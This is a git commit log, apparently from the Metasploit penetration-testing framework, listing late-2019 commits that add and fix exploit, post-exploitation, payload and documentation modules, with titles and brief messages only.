Also fixes a typo in exploit/linux/ssh/solarwinds_lem_exec.
2019-12-11 13:53:20 -06:00
William Vu f31930748b Remove RHOST from solarwinds_lem_exec
This doubles as a test.
2019-12-11 13:42:41 -06:00
William Vu ce0f08d064 Register RHOST(S) and RPORT in SSH mixin 2019-12-11 13:41:32 -06:00
Rob Fuller 5eb90d758f Update modules/exploits/linux/ssh/solarwinds_lem_exec.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-11 13:44:37 -05:00
Onur ER f94726a794 Added Module Documentation
Added OpenNetAdmin 18.1.1 Exploit Documentation
2019-12-11 21:08:27 +03:00
Onur ER 02a87befc3 Added OpenNetAdmin 18.1.1 exploit
OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors.
This module exploits a command injection in OpenNetAdmin.
2019-12-11 21:05:02 +03:00
Rob Fuller 002b9e5b90 Fix typo and lacking RHOST
Kinda need a RHOST to use a RCE...
2019-12-11 12:17:53 -05:00
Kenneth LaCroix 2e854f2d9a Create arp_scanner.md 2019-12-11 09:52:35 -07:00
Kenneth LaCroix 4fe0064756 Update enum_applications.md 2019-12-11 09:42:33 -07:00
Kenneth LaCroix b6ac86dc23 Update group_policy_startup.rb 2019-12-11 09:41:08 -07:00
Kenneth LaCroix b99d632b7d Update enum_applications.md 2019-12-11 09:30:18 -07:00
Adam Galway affbd70585 Merge branch 'master' into search-check-fix 2019-12-11 13:45:19 +00:00
Nicholas Starke 16910f7e02 Parameter Checks and Success Messaging
This commit adds additional parameter checks for nil and adds
a little more descriptive success message that includes the path
to the loot storage location.
2019-12-11 07:35:55 -06:00
Adam Galway debded62e3 add has_check? to Module & Scanner classes 2019-12-11 13:26:32 +00:00
h00die 8cb58be4c0 style 2019-12-11 06:44:35 -05:00
Metasploit 6d35d363fe automatic module_metadata_base.json update 2019-12-11 00:51:23 -06:00
Brendan Coles f2eb73407a Land #12662, Update post/multi/gather/gpg_creds to support GPG v2.1+ keys 2019-12-11 06:53:57 +00:00
Brendan Coles 1ebfe6c284 Add Reptile Rootkit reptile_cmd Privilege Escalation 2019-12-11 06:48:51 +00:00
John Kollross 9a0c1331ec Update apache_userdir_enum.md 2019-12-10 20:59:54 -06:00
John Kollross 6533cb877f Update apache_userdir_enum.md 2019-12-10 20:58:25 -06:00
John Kollross d314226745 Update apache_userdir_enum documentation 2019-12-10 20:58:14 -06:00
Brent Cook c55105c526 add compiled payload sizes, don't generate on framework boot 2019-12-10 19:06:01 -06:00
Brent Cook 19122f9345 fix regression in #12691
ake sure for non sends-hex case that we use the right variable name for
parsing the raw UUID bytes.
2019-12-10 19:05:01 -06:00
Brent Cook 1c91a737d9 default to deleting temp C and .exe files 2019-12-10 19:04:39 -06:00
Brent Cook e40c64415a Use temporary file paths
Use Tempfile for building intermediate source and exe files with
compiled payloads.
2019-12-10 19:03:38 -06:00
bwatters-r7 942d1e3962 Trim exploit code and de-pasta-fy module
Better check for build number
2019-12-10 18:09:08 -06:00
Kenneth LaCroix 5d09138a55 Create enum_applications.md 2019-12-10 14:27:58 -07:00
Kenneth LaCroix f0ac300338 h00die review
Thanks h00die for the in depth review, as always.
2019-12-10 13:37:13 -07:00
Metasploit ddfeff4a0d automatic module_metadata_base.json update 2019-12-10 12:21:21 -06:00
Shelby Pace a4ed143af6 Land #12364, add vBulletin widgetconfig RCE 2019-12-10 12:12:47 -06:00
Shelby Pace 19169bc9b2 remove executable permissions 2019-12-10 12:10:04 -06:00
Shelby Pace ab6f77ce63 add reference 2019-12-10 11:47:48 -06:00
Shelby Pace dd2a6f77e3 remove unused opts 2019-12-10 11:32:46 -06:00
Jeffrey Martin 662a040154 Revert "Land #12695, Fix incorrect check status for aux modules returned by search"
This reverts commit 7bac2f7618, reversing
changes made to 049986c59a.
2019-12-10 10:24:10 -06:00
Jeffrey Martin 7bac2f7618 Land #12695, Fix incorrect check status for aux modules returned by search 2019-12-10 10:03:27 -06:00
Metasploit 049986c59a automatic module_metadata_base.json update 2019-12-10 09:44:27 -06:00
Adam Galway 2448914b24 Land 12680, fixes small typo in dns_fuzzer.rb 2019-12-10 15:36:05 +00:00
h00die 3b2a54a599 add aka to some modules 2019-12-10 09:53:13 -05:00
h00die bf99dd820a remove 50char title line 2019-12-10 09:32:34 -05:00
Adam Galway 073f956578 avoids Scanner methods when reading for check 2019-12-10 14:21:17 +00:00
Kenneth LaCroix 5e3974992c Create adobe_embedded_pdf.md and adobe_utilprintf.md. Update adobe_geticon.md and adobe_reader_u3d.md. 2019-12-09 21:29:06 -07:00
Metasploit 6df148c2da automatic module_metadata_base.json update 2019-12-09 21:06:19 -06:00
William Vu b88f5adf77 Land #12498, new post/bsd/gather/hashdump module 2019-12-09 20:58:10 -06:00
Metasploit df269c591c automatic module_metadata_base.json update 2019-12-09 20:55:41 -06:00
William Vu bef637bc68 Land #12666, bypassuac_silentcleanup %WINDIR% fix 2019-12-09 20:48:38 -06:00
Metasploit aca3674412 automatic module_metadata_base.json update 2019-12-09 20:21:21 -06:00
William Vu cd9a95fcc8 Land #12577, once more with feeling 2019-12-09 20:10:04 -06:00
William Vu 42c8420f5a Fix style 2019-12-09 20:09:52 -06:00
William Vu 871b295111 Land #12614, post/multi/gather/ssh_creds fixes 2019-12-09 19:59:32 -06:00
Metasploit aa9396daee automatic module_metadata_base.json update 2019-12-09 19:57:27 -06:00
William Vu 7b1d54fc26 Land #12577, redis_unauth_exec fixes 2019-12-09 19:37:53 -06:00
bwatters-r7 8a9dd35793 First draft of windows comahawk priv esc 2019-12-09 19:09:15 -06:00
Metasploit 76f136f70a automatic module_metadata_base.json update 2019-12-09 13:11:24 -06:00
Brent Cook 0589b60033 Land #12647, add back executable check to msftidy 2019-12-09 13:04:30 -06:00
Brent Cook 8bc66b3510 Land #12679, remove never-used file_local_digest* methods 2019-12-09 12:51:17 -06:00
Brent Cook f0be57e1ed Land #12673, fix error in rpc_creds method 2019-12-09 12:48:50 -06:00
Metasploit 7420dd5e39 automatic module_metadata_base.json update 2019-12-09 09:01:48 -06:00
Brent Cook a30272e262 Land #12686, raise BadCharError instead of EncodingError with xor_dynamic encoder 2019-12-09 08:47:40 -06:00
Brent Cook 65054705d7 Land #12689, add iis_internal_ip references 2019-12-09 08:46:05 -06:00
Brent Cook 8b4ce3f6f7 Land #12561, First round of memory performance enhancements 2019-12-09 08:42:39 -06:00
FenixH 24431f0fae Merge remote-tracking branch 'upstream/master' 2019-12-09 11:21:52 +01:00
Metasploit 644339fafc automatic module_metadata_base.json update 2019-12-09 04:18:54 -06:00
FenixH 056dd6baec rpc_creds fix 2019-12-09 11:14:06 +01:00
Tim W 3200781292 Land #12446, add powershell AMSI bypass to web_delivery 2019-12-09 18:03:54 +08:00
h00die ca9a1709bf iis internal ip references 2019-12-08 16:15:48 -05:00
h00die 6fbab50b9d iis internal ip references 2019-12-08 16:11:57 -05:00
Francesco Soncina 6b2bb24ba1 use BadcharError instead of EncodingError
fixes #12685
2019-12-08 02:39:57 +01:00
Brendan Coles 8f19c8a82a Prefer English over French spelling 2019-12-07 08:01:52 +00:00
Brendan Coles 121a9a52ac Remove Post API crypto methods for local files 2019-12-07 05:12:51 +00:00
Kenneth LaCroix 3e049a279e create adobe_geticon.md and update adobe_reader_u3d.md 2019-12-06 21:56:48 -07:00
Pearce Barry 0d99e78047 Land #12663, reporting creds can have linked task 2019-12-06 14:26:17 -06:00
Brent Cook dcf2a2de24 Land #12672, pass string value to OptString#valid? 2019-12-06 14:18:56 -06:00
Brent Cook a7e57f740e Land #12675, update kiwi to mimikatz 2.2.0 20191125 2019-12-06 14:05:34 -06:00
Brent Cook 68101136de bump embedded version 2019-12-06 13:26:55 -06:00
Pearce Barry 74d87fcc76 Support JtR versions installed from packages
John the Ripper installed from native packages, like ubuntu's 'john' package, might output the version in a slightly different format than when you build from source.  This patch adds an addtional attempt to pull the version number from JtR's like these...
2019-12-06 13:26:04 -06:00
Brent Cook 6c669702e5 Land #12676, update cops to match new names 2019-12-06 12:34:23 -06:00
Jeffrey Martin 21060033b6 check before trying to access self as array 2019-12-06 12:03:43 -06:00
Adam Galway 9cf9f83d63 update cops to match new names 2019-12-06 17:36:10 +00:00
Brent Cook 7f30662067 update Kiwi extension with latest Mimikatz 2019-12-06 11:34:18 -06:00
Nicholas Starke 5d65741bb5 Changing Global Variables to Instance Variables 2019-12-06 10:35:43 -06:00
FenixH 31e7fb3daa web delivery fix 2019-12-06 12:45:23 +01:00
Christophe De La Fuente c47e0de9c0 Fix OptString#valid? 2019-12-06 12:34:17 +01:00
FenixH 65f8fa003c rpc fixes 2019-12-06 12:29:53 +01:00
FenixH 303009ce67 Merge remote-tracking branch 'upstream/master' 2019-12-06 11:09:52 +01:00
Kenneth LaCroix d4ef06dfcc Create adobe_reader_u3d.md 2019-12-06 01:19:12 -07:00
Brent Cook 156f192459 Land #12668, various Meterpreter fixes 2019-12-05 17:46:39 -06:00
Brent Cook 918674c16b bump meterpreter, various and sundry fixes 2019-12-05 17:24:29 -06:00
Nicholas Starke 6d523da790 Fixing require statements and scope
Made the 'succeeded' variable global in scope and added two
'require' statements that seemed to be necessary for the module
to work properly.
2019-12-05 14:43:46 -06:00
Nicholas Starke 335aef59da Adding failing condition
This commit adds a failure code if the module does not
successfully receive a response from the remote chrome process.
2019-12-05 14:17:30 -06:00
h00die fdce27c675 Land #12632, lots more module docs 2019-12-05 15:00:45 -05:00
h00die ce7a33abf5 example module review 2019-12-05 14:47:29 -05:00
Metasploit e1cb804764 Bump version of framework to 5.0.64 2019-12-05 12:09:50 -06:00
Clément Notin 2931863a4e bypassuac_silentcleanup: cleanup %WINDIR% env var before calling powershell payload
Fixes #12665
2019-12-05 15:08:50 +01:00
Henry Hoggard 2ed613ffa3 Fix file search 2019-12-05 08:46:56 +00:00
Kenneth LaCroix ea670d02fe Update group_policy_startup.md
Add module authors blog post .
2019-12-04 20:38:57 -07:00
Kenneth LaCroix a6db0202f4 Create group_policy_startup.md 2019-12-04 20:31:59 -07:00
William Vu 98c586b76e Fix style 2019-12-04 19:32:14 -06:00
Jeffrey Martin 79f2c9a048 reporting creds can have linked task 2019-12-04 17:55:23 -06:00
Francesco Soncina e11f64f8c8 Inject shellcode changes (#3)
Inject shellcode changes
2019-12-05 00:21:06 +01:00
Henry Hoggard 37fb5be381 Remove whitespace 2019-12-04 22:29:57 +00:00
Henry Hoggard 12218b0fde Add GPG 2.1+ keys, Stop storing empty files 2019-12-04 21:54:16 +00:00
Shelby Pace 3ddef6091c update scenarios section 2019-12-04 12:19:58 -06:00
Shelby Pace 35282b3e35 use printf command stager 2019-12-04 12:17:35 -06:00
Adam Galway 104710ca41 Land #12627, alter scanner info method for check 2019-12-04 15:04:11 +00:00
bwatters-r7 cc25a30d1a Move dpendency to mixin and adjust print statements 2019-12-04 09:00:03 -06:00
Kenneth LaCroix 196029b959 Update ms04_007_killbill.md 2019-12-04 01:41:07 -07:00
Kenneth LaCroix 31abd7d676 Update ms15_100_mcl_exe.md 2019-12-04 01:13:18 -07:00
Metasploit cc361e7dbb automatic module_metadata_base.json update 2019-12-03 19:30:58 -06:00
h00die faadf8e283 Land #12646, ms04_007 reliability and stability updates 2019-12-03 20:22:37 -05:00
h00die d65757faa4 further killbill fixes 2019-12-03 20:22:05 -05:00
Metasploit a14df776b0 automatic module_metadata_base.json update 2019-12-03 19:17:44 -06:00
h00die ce4bb563fc Land #12656, reliability and stability notes for ms06_040 2019-12-03 20:08:21 -05:00
bwatters-r7 0864a4840e Fix requirements in payload inject 2019-12-03 15:58:37 -06:00
Shelby Pace 713099c997 improve version check 2019-12-03 14:56:44 -06:00
Brent Cook b7b7ad906e Land #12659, make faraday spec slightly less strict 2019-12-03 14:20:41 -06:00
Jeffrey Martin fb8d9ec95b slightly less strict faraday in spec 2019-12-03 14:16:38 -06:00
bwatters-r7 2a14332f20 First try at adding error handling and offloading methods to the
Post::Windows::Process mixin for resusability and deduplication
2019-12-03 14:11:50 -06:00
Shelby Pace 5f149bc51c Update modules/exploits/multi/http/openmrs_deserialization.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-03 13:19:15 -06:00
Shelby Pace d8747c3a02 Update modules/exploits/multi/http/openmrs_deserialization.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-12-03 13:19:04 -06:00
Brent Cook d5d90dcbc3 Land #12655, update cert generation to not generate years in the past 2019-12-03 12:37:21 -06:00
Brent Cook ab9e7f720b bump rex-socket with related changes 2019-12-03 12:26:04 -06:00
Shelby Pace 9655c33a66 add bcoles' format_payload implementation 2019-12-03 12:24:33 -06:00
Brent Cook c4837966d1 Land #12658, pin faraday to avoid warnings from octokit on start 2019-12-03 12:20:29 -06:00
Brent Cook 19db4ed4f1 update Gemfile.lock 2019-12-03 12:12:52 -06:00
Shelby Pace c7125b1b5f remove options section 2019-12-03 12:06:44 -06:00
Adam Galway 774a93df1f use faraday gem version compatabile with octokit 2019-12-03 17:40:36 +00:00
Brent Cook 3dc64f142a Land #12657, suggest local exploit as better replacement for meterpreter scripts 2019-12-03 11:23:45 -06:00
William Vu 26f7c8f599 Suggest exploit/windows/local/persistence
The persistence and metsvc Meterpreter scripts use a built-in payload,
so the local exploit is a more appropriate match.
2019-12-03 11:08:23 -06:00
William Vu 263c7bf235 Use CheckModule in pulse_secure_cmd_exec 2019-12-03 10:39:58 -06:00
William Vu 347c63377d Print a warning for lack of CheckCode 2019-12-03 10:36:34 -06:00
William Vu 0b99b78c91 Don't validate exploit options needlessly 2019-12-03 10:36:34 -06:00
William Vu 9adc87c786 Check for nil 2019-12-03 10:36:34 -06:00
William Vu 1c87c21d8e Validate exploit options, too 2019-12-03 10:36:34 -06:00
William Vu 91c6c74173 Add only targeting options and validate datastore 2019-12-03 10:36:34 -06:00
William Vu f56b262eec Update modules 2019-12-03 10:36:34 -06:00
William Vu 1952697404 Refactor CheckScanner to CheckModule 2019-12-03 10:36:34 -06:00
Brendan Coles 3e7857d146 Add reliability and stability notes to ms06_040_netapi 2019-12-03 06:32:02 +00:00
Brendan Coles c036fc3df9 Fix ssl_generate_certificate to not generate expired certs - Fix #12634 2019-12-03 06:16:12 +00:00
Kenneth LaCroix 5ab266e049 Update ms06_040_netapi.md 2019-12-02 22:29:45 -07:00
Kenneth LaCroix e732291be9 h00die 2019-12-02 22:28:16 -07:00
Kenneth LaCroix c66f3c4388 Update ms06_040_netapi.md 2019-12-02 20:51:45 -07:00
Kenneth LaCroix 7dfe86034c update ms04_007_killbill.md and update ms06_040_netapi.md 2019-12-02 19:08:14 -07:00
Kenneth LaCroix 3881743847 Create ms06_040_netapi.md 2019-12-02 19:03:15 -07:00
Pearce Barry 8a370cf2ca Land #12637, set any passed workspace if db is active 2019-12-02 17:05:16 -06:00
Pearce Barry 5ac09e8281 Land #12631, set db workspace in handler when active 2019-12-02 17:04:05 -06:00
Pearce Barry 2de71aba72 Minor typo... 2019-12-02 16:13:05 -06:00
Shelby Pace f3922d73d8 use encode, replace double quotes 2019-12-02 15:25:52 -06:00
Brent Cook d3a636eb6a Land #12509, add check result to RPC API 2019-12-02 11:37:43 -06:00
Brent Cook 010cfe2d65 =~ / match? 2019-12-02 09:03:58 -06:00
Brent Cook 92cec6116b we don't need ruby-backports anymore (or maybe we can use it more conditionally on Ruby 2.6), it uses a lot of memory 2019-12-02 09:03:58 -06:00
Brent Cook 945f26e898 prefer delete_prefix over creating 2 new strings 2019-12-02 09:03:58 -06:00
Brent Cook 0f6cab0f7b prefer starts_with? and ends_with? over creating new strings 2019-12-02 09:03:58 -06:00
Brent Cook ca5bc94ccf kill never unused 'from' argument in library logs
This avoids computing a stack trace on every single log message
that is never used in any of the logging sinks. This is one of the
number one profiled memory allocation/deallocation events in Metasploit
as shown with memory_profiler.
2019-12-02 09:03:58 -06:00
Brent Cook 069a3e3c4e use casecmp rather than allocate a string on every comparison 2019-12-02 09:03:58 -06:00
Shelby Pace 4c95150491 add xml erb file 2019-12-02 08:44:37 -06:00
Shelby Pace 6f153a885a add tested version 2019-12-02 08:42:45 -06:00
Metasploit 95047f9fee automatic module_metadata_base.json update 2019-12-01 10:21:16 -06:00
dwelch-r7 41569b78ba Land #12503, Add exploit module for Ajenti 2.1.31 2019-12-01 16:13:06 +00:00
Metasploit e206cdafb3 automatic module_metadata_base.json update 2019-12-01 09:49:23 -06:00
dwelch-r7 ed94499ea6 Land #12422, Add module for enumerating git keys 2019-12-01 15:39:54 +00:00
Brendan Coles ddf9cf71ab Add check_executable check to msftidy 2019-11-30 07:25:27 +00:00
Brendan Coles ba05e91d19 Add Reliability notes 2019-11-30 06:28:12 +00:00
Brendan Coles a6723c12fb Add stability notes to ms04_007_killbill 2019-11-30 06:16:41 +00:00
h00die da506c9684 dont load examples and syntax fixes 2019-11-29 09:11:44 -05:00
Metasploit d2f83f868d automatic module_metadata_base.json update 2019-11-29 06:58:10 -06:00
Brendan Coles 5fde74de4f Land #12644, Fix iis75_ftpd_iac_bof crash when returned banner is nil 2019-11-29 12:59:19 +00:00
h00die f17fe39bda dos iis75 nocrash 2019-11-29 07:15:17 -05:00
h00die bad8e24e48 additional example exploits 2019-11-29 06:54:34 -05:00
Christophe De La Fuente 857677f39d Update log message 2019-11-29 11:35:14 +01:00
Metasploit 579b001bd3 automatic module_metadata_base.json update 2019-11-29 04:20:46 -06:00
Christophe De La Fuente 373d147efd Land #12555 - Wordpress Plainview Activity Monitor RCE 2019-11-29 11:10:24 +01:00
leo-lb 1cf9a2eb53 Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:13:21 +01:00
leo-lb 2372f7e40d Update wp_plainview_activity_monitor_rce.rb 2019-11-28 20:10:17 +01:00
Kenneth LaCroix 7473a79cb3 Create ms04_007_killbill.md 2019-11-28 11:33:42 -07:00
Metasploit b7ee610a67 Bump version of framework to 5.0.63 2019-11-28 12:08:21 -06:00
Christophe De La Fuente 6a7c2835ec Update specs... again 2019-11-28 16:05:51 +01:00
Christophe De La Fuente 127e1d451f Update specs 2019-11-28 14:58:25 +01:00
Christophe De La Fuente 39ab534773 Improve Wordpress version check
- Add log message to Detected and Unknown check codes
- Add an exception handler to catch Gem::Version parsing errors
2019-11-28 12:56:08 +01:00
Kenneth LaCroix 5e2c0604ab Create ms15_100_mcl_exe.md and Create ms10_092_schelevator.md 2019-11-27 18:12:57 -07:00
Jeffrey Martin 75f78fbce4 set any passed workspace if db is active 2019-11-27 17:19:44 -06:00
leo-lb 853fea736d Update wp_plainview_activity_monitor_rce.rb 2019-11-27 22:28:33 +01:00
leo-lb 60b98fd20c Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:59:54 +01:00
leo-lb 9b5265f49a Update wp_plainview_activity_monitor_rce.rb 2019-11-27 21:57:24 +01:00
Wyatt Dahlenburg 02bb97fba6 Forced gitserver to required and improved status messages 2019-11-27 11:18:01 -06:00
Jeffrey Martin af0215a8d4 set db workspace in handler when active 2019-11-27 08:39:51 -06:00
Kenneth LaCroix 6a28e818d7 Create recorder.md 2019-11-27 02:36:42 -07:00
Brent Cook ea1c1aa745 Land #12622, add aux docs for dlsw_leak_capture and ftpbounce 2019-11-26 14:46:19 -06:00
Metasploit 3d304dcbc4 automatic module_metadata_base.json update 2019-11-26 12:43:46 -06:00
Brent Cook 9e47bff246 Land #12624, add pingback payload specs 2019-11-26 12:34:23 -06:00
dwelch-r7 70395f2c23 Land #12629, fix typo in splunk upload app exec 2019-11-26 18:26:46 +00:00
Adam Cammack bcb4f6b1e6 Land #12623, Stub tests for compiled payloads 2019-11-26 10:04:21 -06:00
Francesco Soncina 45bee2d500 Update splunk_upload_app_exec.rb 2019-11-26 15:38:34 +01:00
dwelch-r7 47b31a152e Alter scanners info method to show check supported properly 2019-11-26 04:21:06 +00:00
Kenneth LaCroix 7129a058e5 Update ftpbounce.md 2019-11-25 21:01:53 -07:00
Kenneth LaCroix ce523bbf12 Create ftpbounce.md and update dlsw)leak_capture.md 2019-11-25 20:56:20 -07:00
Metasploit 5bf0d64325 automatic module_metadata_base.json update 2019-11-25 18:44:39 -06:00
William Vu 6f1117eee1 Land #12625, DOUBLEPULSAR exploit print updates 2019-11-25 18:36:13 -06:00
William Vu b22d2a1685 Update prints in DOUBLEPULSAR exploit check method
vprint_good should be print_warning, and most vprints should be print,
even if in check, since check is critical functionality.
2019-11-25 18:33:46 -06:00
Jeffrey Martin a417919e22 seperate x86 single and staged encrypted 2019-11-25 18:28:02 -06:00
Jeffrey Martin 97dbcc9476 seperate x64 single from staged 2019-11-25 17:19:38 -06:00
Jeffrey Martin ece57f4da6 add pingpack payload specs 2019-11-25 16:50:19 -06:00
Jeffrey Martin e883b07fd6 add helper for payloads not cached 2019-11-25 15:59:32 -06:00
Jeffrey Martin a428c1a4a6 stub test for compiled encrypted payloads 2019-11-25 14:02:34 -06:00
Metasploit 3f6a19be1a automatic module_metadata_base.json update 2019-11-25 13:12:41 -06:00
dwelch-r7 a8847a1d2a Land #12475, enhancements to brute_dirs module 2019-11-25 19:04:30 +00:00
Brent Cook c08ed0e953 Land #12613, make :workspace key more consistent 2019-11-25 10:39:01 -06:00
Metasploit 37ae4bd669 automatic module_metadata_base.json update 2019-11-25 10:31:22 -06:00
Adam Cammack dc9a1c0307 Land #12618, Add tests for the JJS payloads 2019-11-25 10:21:34 -06:00
Kenneth LaCroix 1221e800d3 Update dlsw_leak_capture.md 2019-11-24 18:26:02 -07:00
Kenneth LaCroix e8bee9f3b4 Create dlsw_leak_capture.md 2019-11-24 16:31:57 -07:00
h00die f10b08a3b1 Land #12607 a bunch of aux docs 2019-11-23 13:00:46 -05:00
h00die 238bfa9b67 module touchups 2019-11-23 12:59:51 -05:00
Kenneth LaCroix 0f7d0b3bea bcoles suggestions 2019-11-23 06:07:58 -07:00
Kenneth LaCroix eb044226f3 formatting and created empty_udp.ms 2019-11-23 04:08:55 -07:00
Kenneth LaCroix fdc7123592 Formatting and versioning 2019-11-22 21:41:06 -07:00
Kenneth LaCroix e952f6ad54 Update versions used 2019-11-22 20:40:52 -07:00
Kenneth LaCroix b0802ebf98 Update dns_amp.md 2019-11-22 19:30:20 -07:00
Kenneth LaCroix b2f66e7fb6 Create dns_amp.md 2019-11-22 16:50:35 -07:00
Jeffrey Martin ba06624e57 consistent usage of :workspace key 2019-11-22 11:16:22 -06:00
RAMELLA Sébastien eb2817b51f fix. typo into the documentation. 2019-11-22 20:10:29 +04:00
Christophe De La Fuente cd22c1bea4 Minor fixes for OPTIONS
- Remove TIMEOUT option since it is already present in the advanced
options (HttpClientTimeout)
- Add DATA option to set the POST data
2019-11-22 15:09:08 +01:00
RAMELLA Sébastien 6e93df1224 fix. DisablePayloadHandler to false in target 0 and add unknown author. 2019-11-22 17:56:50 +04:00
John Kollross 97b6b858e8 Update apache_userdir_enum.md 2019-11-22 07:01:42 -06:00
John Kollross 566807b20a Create apache_userdir_enum.md 2019-11-22 07:01:05 -06:00
Kenneth LaCroix 45ba7acf00 Update konica_ftp_traversal.md 2019-11-21 21:27:50 -07:00
Kenneth LaCroix 0d8ae2a53a Create konica_ftp_traversal.md 2019-11-21 21:27:01 -07:00
Kenneth LaCroix e054fdddbb Addressed changes requested by h00die 2019-11-21 20:52:15 -07:00
Jeffrey Martin 8d057518ce add jjs payload tests and set cached sizes 2019-11-21 16:38:18 -06:00
Shelby Pace 407adca9ec add docs 2019-11-21 14:15:57 -06:00
Shelby Pace e6e1156185 add reference, description, etc. 2019-11-21 14:15:25 -06:00
Metasploit 9cae9b939b Bump version of framework to 5.0.62 2019-11-21 12:08:35 -06:00
Brent Cook f8c84c9928 Land #12530, add encrypted, compilable shell payloads 2019-11-21 08:59:46 -06:00
Brent Cook 51f26a91c0 rename singles to match staged payloads 2019-11-21 05:19:39 -06:00
MangyCoyote a7e7b9dbf2 post/multi/gather/ssh_creds should verify it has access to a file before reading it 2019-11-21 10:48:42 +01:00
Kenneth LaCroix 5a81032d2a Update pcman_ftp_traversal.md 2019-11-20 20:53:33 -07:00
Kenneth LaCroix d0741f8180 Create pcman_ftp_traversal.md 2019-11-20 20:34:30 -07:00
Shelby Pace a4657da33a code execution with Java 8 2019-11-20 15:29:33 -06:00
Metasploit 8785b07dc3 automatic module_metadata_base.json update 2019-11-20 14:23:42 -06:00
bwatters-r7 c841306cb0 Land #12544, Add bind/reverse jjs unix cmd payloads
Merge branch 'land-12544' into upstream-master
2019-11-20 14:14:11 -06:00
Shelby Pace 0f5a3a3d64 use one cipher object
The c code was modified in order to keep
track of the context.
2019-11-20 11:24:23 -06:00
Shelby Pace bf2bfb3b39 use chacha20 class 2019-11-20 10:42:03 -06:00
Onur ER fa1647190e Update ajenti_auth_username_cmd_injection.rb 2019-11-20 19:09:24 +03:00
Onur ER 841e524b6f Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:33 +03:00
Onur ER af59efa4cd Update modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-20 18:08:23 +03:00
Kenneth LaCroix 413023c477 Formatting changes to afp_login.md and created documentation for windows_deployment_services module. 2019-11-19 21:39:59 -07:00
Kenneth LaCroix 21e4a356df Update db2_auth.md 2019-11-19 20:17:30 -07:00
Kenneth LaCroix 0ba4ecbf88 Create db2_version.md 2019-11-19 20:08:23 -07:00
Kenneth LaCroix d12602ef00 Create db2_auth.md 2019-11-19 19:56:30 -07:00
Shelby Pace deb57a1df0 add modified chacha implementation, format_uuid 2019-11-19 20:16:16 -06:00
Brent Cook 3e951b3f4b Land #12457, consolidate workspace actions 2019-11-19 17:10:36 -06:00
Kenneth LaCroix 11fa1cb3f5 Update apple_acpp_scanner.md 2019-11-19 15:24:35 -07:00
Kenneth LaCroix adafae6300 Create apple_accp_scanner and afp_login module documentation. 2019-11-19 14:20:22 -07:00
Metasploit fdf477077c automatic module_metadata_base.json update 2019-11-19 10:50:17 -06:00
bwatters-r7 b3c44a45c6 Land #12602, scanners: fix a couple of typos
Merge branch 'land-12602' into upstream-master
2019-11-19 10:41:25 -06:00
Tim W f3cf898c84 bump rex-powershell to 0.1.83 2019-11-19 22:27:11 +08:00
Tim W b63fd963aa default AMSI bypass off except for web_delivery 2019-11-19 22:26:40 +08:00
Federico Pellegrin b81545acee scanners: fix a couple of typos 2019-11-19 10:15:46 +01:00
Adam Cammack 5565ef9450 Return check codes from scanner runs 2019-11-19 00:35:17 -06:00
Adam Cammack da81c1600e Trivial specs on the attrs for now 2019-11-19 00:30:44 -06:00
Adam Cammack 9d41818899 Always trigger the Simple interface 2019-11-19 00:28:17 -06:00
Metasploit 3b6c5ac28e automatic module_metadata_base.json update 2019-11-19 00:24:53 -06:00
Tim W 6fa16c7020 Land #12593, fix android hashdump hash format 2019-11-19 13:37:16 +08:00
Metasploit 61b04e769c automatic module_metadata_base.json update 2019-11-18 17:45:41 -06:00
Brent Cook 42a06583b8 Land #12601, don't store public-only ssh creds 2019-11-18 17:37:19 -06:00
Metasploit f1d49c3863 automatic module_metadata_base.json update 2019-11-18 17:21:21 -06:00
Brent Cook 23f66f85eb Land #12479, fix error running sap_mgmt_con_brute_login 2019-11-18 17:12:46 -06:00
Brent Cook 27eb17d4ff Land #12583, add web report methods to web data proxy 2019-11-18 17:07:50 -06:00
Metasploit be74a217a5 automatic module_metadata_base.json update 2019-11-18 15:24:51 -06:00
Brent Cook ccff82f818 Land #12589, restrict windows/local/persistence_service to working session types 2019-11-18 15:15:50 -06:00
Metasploit 060bc0495f automatic module_metadata_base.json update 2019-11-18 15:13:13 -06:00
Shelby Pace 86a7495e70 add require 2019-11-18 15:12:15 -06:00
Shelby Pace 140eecac1f use new chacha implementation 2019-11-18 14:42:47 -06:00
MangyCoyote cfd86f6412 ssh_creds module tries to store ssh public keys (#1)
Resolves #12599
2019-11-18 21:28:47 +01:00
Brent Cook 73950eef50 Land #12516, Add Windows Escalate UAC Protection Bypass 2019-11-18 14:25:07 -06:00
Shelby Pace 2e73a9fe3f check for mixin that uses db 2019-11-18 13:45:24 -06:00
Shelby Pace e5d418e913 generalize saving and retrieval of db info 2019-11-18 13:41:01 -06:00
Brent Cook 5936d2c415 use a finer-grained exception here 2019-11-18 12:57:33 -06:00
Onur ER f93fda79f6 Add Module Documentation 2019-11-18 20:25:56 +03:00
Metasploit ea56158d53 automatic module_metadata_base.json update 2019-11-18 10:28:57 -06:00
bwatters-r7 2736cbc84c Land #12588, Remove unsupported session type
Merge branch 'land-12588' into upstream-master
2019-11-18 10:19:01 -06:00
Shelby Pace 3fa9e9b0a8 add Dependencies array with mingw arch class 2019-11-18 09:35:18 -06:00
Shelby Pace 41bc3851a2 remove mingw check, add general dependency check 2019-11-18 09:33:43 -06:00
Metasploit 56944c8364 automatic module_metadata_base.json update 2019-11-18 02:19:14 -06:00
Brent Cook 41161ba917 Land #12585, use post API for shell compat in enum_hostfile 2019-11-18 02:09:09 -06:00
Metasploit 4a9b48deaa automatic module_metadata_base.json update 2019-11-18 01:55:38 -06:00
Brent Cook 5a6e4c031d Land #12494, Add Windows backup system sdclt uac bypass module 2019-11-18 01:47:11 -06:00
Brent Cook 09730aebf4 s/http/https/ 2019-11-18 01:45:57 -06:00
Shelby Pace 60d48ebde5 add x86 and x64 classes 2019-11-17 19:45:22 -06:00
h00die a0e45f4841 fixes for android hashdump 2019-11-17 13:44:19 -05:00
Brendan Coles facf16b860 Declare correct SessionType - Fix #12586 2019-11-16 04:58:02 +00:00
Brendan Coles 9e37fb3ece Declare correct SessionType - Fix #12587 2019-11-16 04:57:18 +00:00
